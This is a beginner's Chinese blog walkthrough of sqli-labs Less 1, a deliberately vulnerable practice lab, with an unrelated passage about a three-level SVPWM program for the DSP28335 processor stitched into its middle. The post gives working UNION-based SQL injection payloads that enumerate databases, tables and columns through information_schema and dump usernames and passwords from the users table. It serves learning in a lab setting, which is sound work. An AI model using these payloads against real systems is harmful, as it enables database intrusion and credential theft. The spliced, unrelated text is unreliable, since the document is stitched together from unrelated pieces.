## 小白的sqli-labs闯关记录## Less 1

博客围绕sqli-labs的Less 1关卡展开,给出了一系列SQL注入语句示例,如通过union select语句从information_schema相关表获取数据库、表、列信息,还从users表获取id、用户名和密码等信息,涉及MySQL数据库操作。

sqli-labs闯关## Less 1

简介:

1.group_concat()

功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc  ] [separator '分隔符'] )

说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。


解释:首先要知道information_schema是什么。
	 在MySQL中,把 information_schema  看作是一个数据库,确切说是信息数据库。
	 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。
	 如数据库名,数据库的表,表栏的数据类型与访问权限等。


2. table_schema()
列出test数据库中所有的表名,类型(普通表还是view)和使用的引擎

select table_name, table_type, engine
FROM information_schema.tables
WHERE table_schema = 'test'
ORDER BY table_name DESC;

解释: 对表的meta data的查询需要使用information_schema.tables,
	  table_schema是数据库的名称,table_name是具体的表名,table_type指的是表的类型

Less 1:

得到所有数据库名

?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),database() --+
在这里插入图片描述

得到当前数据库的的所有表名

?id=-1 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)
在这里插入图片描述

查询当前数据库中users表中的所有字段

?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3 --+
在这里插入图片描述

查询users表中所有的id,name,password

?id=-1 union select 1,group_concat(id),group_concat(username) from users–+
在这里插入图片描述

?id=-1 union select 1,group_concat(username),group_concat(password) from users–+
在这里插入图片描述

标题“三电平SVPWM.rar”指向了个与三电平空间矢量脉宽调制(SVPWM)相关的程序文件,这是在电机控制及功率电子领域中广泛使用的种技术,用于生成平滑的三相输出波形,以控制三电平变频器。SVPWM是种有效的PWM策略,它提高了直流电源到交流电机的转换效率,并降低了电磁干扰。描述中提到该程序是基于DSP28335处理器设计的。DSP28335是德州仪器(Texas Instruments,简称TI)生产的款高性能数字信号处理器,主要用于电机控制、工业自动化、可再生能源等领域。它拥有出色的计算能力,适合运行复杂的控制算法,比如SVPWM。该程序能够在CCS6(Code Composer Studio 6)及以上版本中导入并直接运行,说明其兼容性良好,并为开发者提供了便利的环境以测试和部署算法。从标签“dsp28335”可以知道,这个程序是专为TI的DSP28335处理器设计的。DSP28335作为款32位定点数字信号处理器,拥有诸多特性,包括:1. 高速处理能力,核心工作频率高达150MHz;2. 内置浮点单元,支持浮点运算,简化了算法实现;3. 丰富的外设接,支持UART、SPI、CAN等通信协议;4. 多个PWM通道,适合复杂控制算法在多相电机控制中的应用;5. 具备ADC模块,方便进行模拟信号的采集;6. 强大的中断系统和定时器功能,适合实时控制应用。压缩包文件名“3L_SVPWM_PT714”暗示了程序与三电平SVPWM技术的紧密联系。这里的“3L”可能指的是三电平(Three-Level),而“PT714”可能是某个特定的项目名称或者是程序代码中的特定标识。综合来看,这个程序包可能包含了用于DSP28335的SVPWM控制算法的实现代码、相关配置文件和些示例程序或测试用例。开发者可以利用这些代码来实现电机控制中的SVPWM算法,进而控制三相电机,使其在不同负载和速度下运行平稳。在实际开发中,运用SVPWM技术控制电机,可以带来以下优点:1. 提高效率:通过精确控制开关器件的开关时机,减少电机中的谐波损耗和开关损耗,提高整体工作效率。2. 降低发热:减少损耗意味着电机和控制电路的发热将显著降低,延长设备的使用寿命。3. 改善输出:平滑的电压波形意味着电机运行更加稳定,减少了电机噪音,改善了输出特性。4. 提升动态性能:SVPWM算法能够迅速响应负载变化,为电机提供更好的动态性能,适应各种复杂的工作条件。针对这样的程序包,开发者需要熟悉电机控制理论、DSP28335的硬件特性和编程环境(如CCS),以及SVPWM算法的实现细节。在开发过程中,应重点关注如何将算法与DSP28335的硬件特性相结合,以达到最优的控制效果。此外,还需进行充分的测试,确保在各种运行条件下的可靠性和稳定性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值